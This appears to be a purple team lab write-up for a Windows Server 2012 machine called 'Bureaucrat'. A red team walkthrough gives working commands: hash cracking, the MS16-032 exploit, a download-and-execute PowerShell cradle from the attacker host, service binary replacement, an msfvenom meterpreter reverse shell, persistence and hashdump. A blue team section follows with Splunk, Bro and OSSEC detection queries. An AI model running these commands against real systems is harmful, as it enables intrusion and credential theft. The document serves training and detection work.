Purple Team Exercise: Bureaucrat
Red Team
nmap 192.168.0.253
Run a more targeted scan:
nmap -sV -O -p 135,445,3389,49154 192.168.0.253 –script=safe -oA nmap
We have some ports of interest open, namely SMB and RDP
We also have 49154 open, and our scan returned an OS guess of Windows 8.1 or Windows 2012
(2k12 is correct)
We see the servers hostname: Bureaucrat
If we can crack the credentials found in the last machine, we might be able to login via SMB or RDP
Let’s run the hash through hash-identifier to see if we can crack it
hash-identifier
93125CBC8942CFA41709F20149A9B120:41E0D7377DC3DC97043F124A95482750
The hash returns as LM_hash:NT_hash. We’ll only need to crack one, so lets focus on cracking the nt hash. I took the nt hash portion and copied it to file “nt.hash”
If we remember back to the hint found on Kif, we’ll use the wordlist we found to brute force the password
John has an nt hash flag, so I run the list.txt wordlist through it
john –wordlist=list.txt -format=nt nt.hash
We get the following password:
Now that we have a username and password, let’s see if we can login via RDP
rdesktop 192.168.0.253
systeminfo > sysinfo.txt
python windows-exploit-suggester.py -d 2018-03-25-mssb.xls -i systeminfo
https://www.exploit-db.com/exploits/39719/
Paste the exploit to “sploit.ps1”
Add “Invoke-MS16-032” to the end of the file
Host the file on Kali with SimpleHTTPServer
From Bureaucrat, browse to Kali’s SimpleHTTPServer, and download “sploit.ps1”
Open up powershell, browse to the Downloads dir, and execute “./sploit.ps1”
A new command line window opens and provides us with system!
Next, we’ll get system using PowerSploit.
apt-get install git -y
git clone https://github.com/PowerShellMafia/PowerSploit.git
vi PowerSploit/Privesc/PowerUp.ps1
Add: “Invoke-AllChecks” to end of the file
python -m SimpleHTTPServer
In Bureaucrat, open powershell window, download and run PowerUp.ps1 with:
IEX(New-Object Net.WebClient).DownloadString(‘http://10.242.2.2:8000/Privesc/PowerUp.ps1’)
PowerUp.ps1 runs without any interaction, and right off the bat finds an unquoted service path.
Looks like our user has permissions to modify the FileZilla Server.exe. We should be able to substitute the file for our own payload, and get a reverse listener 🙂
To exploit the unqouted service path vulnerability, we issue the following command:
Write-ServiceBinary -Name ‘FileZilla Server’ -PATH C:\Users\hermes\FileZilla.exe
Then we have to restart the FileZilla service. Once we do that, we can check the machine for local administrators, which now contains our new user “John” with password: “Password123!”
We could login as John and continue with the write-up. We have Admin, but we’ll continue by uploading a meterpreter shell and migrate to a SYSTEM process.
Create our payload in Kali:
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=10.242.2.2 lport=1234 -f exe -o met64.exe
locate nc.exe
python -m SimpleHTTPServer
browse to nc.exe to download
open cmd.exe prompt
Windows: nc.exe -l -p 1234 > met64.exe (we need to disable FW for this to work as well)
Kali: nc -w 3 192.168.0.253 1234 < met64.exe
Rename met64.exe and replace it with FileZilla Server.exe in C:\Users\hermes\FileZilla Server
use exploit/multi/handler
run
restart FileZilla
getuid
shell (Dies)
restart FileZilla
sessions -l
sessions -i
ps
migrate to x64 System process
OR: run persistence -A -L ‘C:\Users\hermes\FileZilla Server\’ -i 60 -p 443 -r KALI_IP
getuid = authority\system
hashdump
Blue Team
Filter by bureaucrat’s ip
Splunk search for nmap related snort alerts:
src_ip=”10.242.2.2″ dest_ip=”192.168.0.253″ sourcetype=sguild name=*SCAN* name!=*Dirbuster* name!=*Nikto* | sort 0 _time |table _time src_ip dest_ip name
Alert for root user logins from a remote system. Probably against company policy, we’ll need additional logs for attrition.
Snort alerts on RDP connections, you might want suppress this alert. We could always use bro to report on RDP sessions.
Our windows logs show the successful remote login. I failed twice, then was successful with Hermes:
sourcetype=WinEventLog:Security host=bureaucrat src_ip=10.242.2.2 Account_Name=hermes | table _time src_ip ComputerName Account_Name app action
I had to sift through some scripted commands issued by the user hermes, but I could pull out the commands I issued:
sourcetype=”WinEventLog:Security” host=bureaucrat Account_Name=hermes Process_Command_Line=”*” | table _time, Account_Domain, Account_Name, Process_Command_Line, action
Process command line picked up a number of commands I did not run manually. Must have been related to what services the user is responsible for running
If I sift through, I can identify my commands (ugly)
sourcetype=”WinEventLog:Security” host=bureaucrat Account_Name=hermes Process_Command_Line!=”*mmc*” Process_Command_Line!=”*0xf*” Process_Command_Line!=”*IEF*” Process_Command_Line!=”*Framework*” Process_Command_Line!=”*prefetch*” Process_Command_Line!=”*Run64*” Process_Command_Line!=”*expl*” Process_Command_Line!=”*vmtool*” | table _time, Account_Domain, Account_Name, Process_Command_Line, action
Splunk Alert:
I recommend alerting on typical Windows network/discovery tools. If an attacker had to “live off the land,” what commands would they use? If you see a abnormal number of info gathering commands, you should get this info in a report. This is a basic list, which you should add to:
sourcetype=”WinEventLog:Security” host=bureaucrat Process_Command_Line!=”*telnet*” process_Command_Line=”*systeminfo*” Process_Command_Line=”*net user*” Process_Command_Line=”*powershell*” | table _time Account_Name
We can use bro_http to see the files bureaucrat successfully accessed. First sploit.ps1, then shortly after PowerUp.ps1
sourcetype=bro_http id.orig_h=192.168.0.253 method=GET id.resp_h=”10.242.2.2″ uri!=/nc.exe AND uri!=/favicon.ico | table _time id.orig_h id.resp_h id.resp_p referrer uri status_msg
Wireshark -> Export Options -> HTTP:
We saw this activity with our last search
earliest=05/13/2018:16:00:0 latest=05/13/2018:18:25:0 sourcetype=bro_http id.orig_h=192.168.0.253 method=GET id.resp_h=”10.242.2.2″ uri!=/nc.exe AND uri!=/favicon.ico | table _time id.orig_h id.resp_h id.resp_p referrer uri status_msg
Alert: It’s unrealistic to alert of files being downloaded from outside your environment, but maybe we can alert on files being download from a-typical ports (ie, not 80/443)
sourcetype=bro_http id.resp_h!=192.168.0.0/24 method=GET id.resp_p!=80 AND id.resp_p!=443 status_msg=OK OR status_code=200
Snort, alerting on the script
Wireshark -> Export Options -> HTTP:
Used splunk to generate a list of logins. The guest logins are related to the nmap scans probing shares. Then my initial login as hermes. Finally I used our payload to login as a local admin “john”
earliest=05/13/2018:16:00:0 latest=05/13/2018:18:25:0 sourcetype=WinEventLog:Security host=bureaucrat src_ip=10.242.2.2 Account_Name=* | table _time src_ip ComputerName Account_Name app action
Alert for downloading nc.exe
Which we can extract to analyze:
Wireshark -> Export Options -> HTTP
Our Splunk search shows our remote request for nc.exe
sourcetype=bro_http id.orig_h=192.168.0.253 method=GET id.resp_h=”10.242.2.2″ uri!=/ uri!=/favicon.ico | table _time id.orig_h id.resp_h id.resp_p referrer uri status_msg
nc.exe was picked up by MalwareBytes. There are ways we could avoid detection, but that out of the scope for the article.
Splunk alerts that shows remote connections to the attacker IP:
host=bureaucrat sourcetype=”WinEventLog:Security” Account_Name=hermes Process_Command_Line=”*nc.exe*” | table _time, Account_Domain, Account_Name, Process_Command_Line, action
MalwareBytes also detected met64.exe. Again, we could encrypt or obfuscate the payload to avoid detection, but this would be a great find to start an investigation.
Splunk search via OSSEC that shows the FilesZilla application being tampered with.
sourcetype=ossec_alerts signature=”*checksum*” file_dirname=”C:\\Users\\hermes/FileZilla Server*/”
